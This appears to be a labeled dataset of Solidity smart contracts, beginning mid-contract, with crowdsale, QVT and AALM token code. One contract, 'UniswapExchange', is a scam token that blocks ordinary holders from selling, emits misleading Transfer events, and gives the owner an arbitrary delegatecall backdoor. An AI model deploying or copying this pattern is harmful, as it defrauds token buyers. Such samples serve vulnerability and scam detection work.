throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
return tokenAmount;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) internal;
}
contract Crowdsale is CrowdsaleBase {
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerIdWithChecksum(uint128 customerId, bytes1 checksum) public payable {
if (bytes1(sha3(customerId)) != checksum) throw;
investWithCustomerId(msg.sender, customerId);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
}
contract MilestonePricing is PricingStrategy, Ownable {
using SafeMathLib for uint;
uint public constant MAX_MILESTONE = 10;
mapping (address => uint) public preicoAddresses;
struct Milestone {
uint time;
uint price;
}
Milestone[10] public milestones;
uint public milestoneCount;
function MilestonePricing(uint[] _milestones) {
if(_milestones.length % 2 == 1 || _milestones.length >= MAX_MILESTONE*2) {
throw;
}
milestoneCount = _milestones.length / 2;
uint lastTimestamp = 0;
for(uint i=0; i<_milestones.length/2; i++) {
milestones[i].time = _milestones[i*2];
milestones[i].price = _milestones[i*2+1];
if((lastTimestamp != 0) && (milestones[i].time <= lastTimestamp)) {
throw;
}
lastTimestamp = milestones[i].time;
}
if(milestones[milestoneCount-1].price != 0) {
throw;
}
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getMilestone(uint n) public constant returns (uint, uint) {
return (milestones[n].time, milestones[n].price);
}
function getFirstMilestone() private constant returns (Milestone) {
return milestones[0];
}
function getLastMilestone() private constant returns (Milestone) {
return milestones[milestoneCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstMilestone().time;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastMilestone().time;
}
function isSane(address _crowdsale) public constant returns(bool) {
Crowdsale crowdsale = Crowdsale(_crowdsale);
return crowdsale.startsAt() == getPricingStartsAt() && crowdsale.endsAt() == getPricingEndsAt();
}
function getCurrentMilestone() private constant returns (Milestone) {
uint i;
for(i=0; i<milestones.length; i++) {
if(now < milestones[i].time) {
return milestones[i-1];
}
}
}
function getCurrentPrice() public constant returns (uint result) {
return getCurrentMilestone().price;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return value.times(multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice();
return value.times(multiplier) / price;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
if(preicoAddresses[purchaser] > 0)
return true;
else
return false;
}
function() payable {
throw;
}
} | 1 | 3,518 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,962 |
pragma solidity ^0.4.15;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract QVT is StandardToken {
string public name = "QVT";
string public symbol = "QVT";
uint public decimals = 18;
uint public multiplier = 1000000000000000000;
bool public halted = false;
bool public freeze = true;
uint public roundCount = 1;
bool public isDayFirst = false;
bool public isDaySecond = false;
bool public isDayThird = false;
bool public isPreSale = false;
address public founder = 0x0;
address public owner = 0x0;
uint public totalTokens = 21600000;
uint public team = 3420000;
uint public bounty = 180000 * multiplier;
uint public preIcoSold = 0;
uint public icoCap = 18000000;
uint public presaleTokenSupply = 0;
uint public presaleEtherRaised = 0;
event Buy(address indexed sender, uint eth, uint fbt);
event TokensSent(address indexed to, uint256 value);
event ContributionReceived(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function QVT(address _founder) payable {
owner = msg.sender;
founder = _founder;
team = safeMul(team, multiplier);
totalSupply = safeMul(totalTokens, multiplier);
balances[owner] = safeSub(totalSupply, team);
balances[founder] = team;
TokensSent(founder, team);
Transfer(owner, founder, team);
}
function price() constant returns (uint){
return 1 finney;
}
function buy() public payable returns(bool) {
processBuy(msg.sender, msg.value);
return true;
}
function processBuy(address _to, uint256 _value) internal returns(bool) {
require(!halted);
require(_value>0);
uint tokens = _value / price();
require(balances[owner]>safeMul(tokens, multiplier));
if (isPreSale) {
tokens = tokens + (tokens / 2);
}
if (isDayFirst) {
tokens = tokens + safeMul(safeDiv(tokens, 10), 3);
}
if (isDaySecond) {
tokens = tokens + safeDiv(tokens, 5);
}
if (isDayThird) {
tokens = tokens + safeDiv(tokens, 10);
}
require(safeAdd(presaleTokenSupply, tokens) < icoCap);
founder.transfer(_value);
balances[_to] = safeAdd(balances[_to], safeMul(tokens, multiplier));
balances[owner] = safeSub(balances[owner], safeMul(tokens, multiplier));
presaleTokenSupply = safeAdd(presaleTokenSupply, tokens);
presaleEtherRaised = safeAdd(presaleEtherRaised, _value);
Buy(_to, _value, safeMul(tokens, multiplier));
TokensSent(_to, safeMul(tokens, multiplier));
ContributionReceived(_to, _value);
Transfer(owner, _to, safeMul(tokens, multiplier));
return true;
}
function sendEvents(address to, uint256 value, uint tokens) internal {
Buy(to, value, safeMul(tokens, multiplier));
TokensSent(to, safeMul(tokens, multiplier));
ContributionReceived(to, value);
Transfer(owner, to, safeMul(tokens, multiplier));
}
function proceedPreIcoTransactions(address[] toArray, uint[] valueArray) onlyOwner() {
uint tokens = 0;
address to = 0x0;
uint value = 0;
for (uint i = 0; i < toArray.length; i++) {
to = toArray[i];
value = valueArray[i];
tokens = value / price();
tokens = tokens + tokens;
balances[to] = safeAdd(balances[to], safeMul(tokens, multiplier));
balances[owner] = safeSub(balances[owner], safeMul(tokens, multiplier));
preIcoSold = safeAdd(preIcoSold, tokens);
sendEvents(to, value, tokens);
}
}
function halt() onlyOwner() {
halted = true;
}
function unHalt() onlyOwner() {
halted = false;
}
function sendBounty(address _to, uint256 _value) onlyOwner() {
require(bounty > _value);
bounty = safeSub(bounty, _value);
balances[_to] = safeAdd(balances[_to], safeMul(_value, multiplier));
TokensSent(_to, safeMul(_value, multiplier));
Transfer(owner, _to, safeMul(_value, multiplier));
}
function sendSupplyTokens(address _to, uint256 _value) onlyOwner() {
balances[owner] = safeSub(balances[owner], safeMul(_value, multiplier));
balances[_to] = safeAdd(balances[_to], safeMul(_value, multiplier));
TokensSent(_to, safeMul(_value, multiplier));
Transfer(owner, _to, safeMul(_value, multiplier));
}
function transfer(address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function burnRemainingTokens() isAvailable() onlyOwner() {
Burn(owner, balances[owner]);
balances[owner] = 0;
}
function setDayFirst() onlyOwner() {
isDayFirst = true;
isDaySecond = false;
isDayThird = false;
}
function setDaySecond() onlyOwner() {
isDayFirst = false;
isDaySecond = true;
isDayThird = false;
}
function setDayThird() onlyOwner() {
isDayFirst = false;
isDaySecond = false;
isDayThird = true;
}
function setBonusOff() onlyOwner() {
isDayFirst = false;
isDaySecond = false;
isDayThird = false;
}
function setPreSaleOn() onlyOwner() {
isPreSale = true;
}
function setPreSaleOff() onlyOwner() {
isPreSale = false;
}
function startNewRound() onlyOwner() {
require(roundCount < 5);
roundCount = roundCount + 1;
balances[owner] = safeAdd(balances[owner], safeMul(icoCap, multiplier));
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier isAvailable() {
require(!halted && !freeze);
_;
}
function() payable {
buy();
}
function freeze() onlyOwner() {
freeze = true;
}
function unFreeze() onlyOwner() {
freeze = false;
}
function changeOwner(address _to) onlyOwner() {
balances[_to] = balances[owner];
balances[owner] = 0;
owner = _to;
}
function changeFounder(address _to) onlyOwner() {
balances[_to] = balances[founder];
balances[founder] = 0;
founder = _to;
}
} | 0 | 490 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract HasNoEther is Ownable {
function HasNoEther() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) pure external {
from_;
value_;
data_;
revert();
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract AALMToken is MintableToken, NoOwner {
string public symbol = 'AALM';
string public name = 'Alm Token';
uint8 public constant decimals = 18;
address founder;
function init(address _founder) onlyOwner public{
founder = _founder;
}
modifier canTransfer() {
require(mintingFinished || msg.sender == founder);
_;
}
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract AALMCrowdsale is Ownable, CanReclaimToken, Destructible {
using SafeMath for uint256;
uint32 private constant PERCENT_DIVIDER = 100;
struct BulkBonus {
uint256 minAmount;
uint32 bonusPercent;
}
uint64 public startTimestamp;
uint64 public endTimestamp;
uint256 public minCap;
uint256 public hardCap;
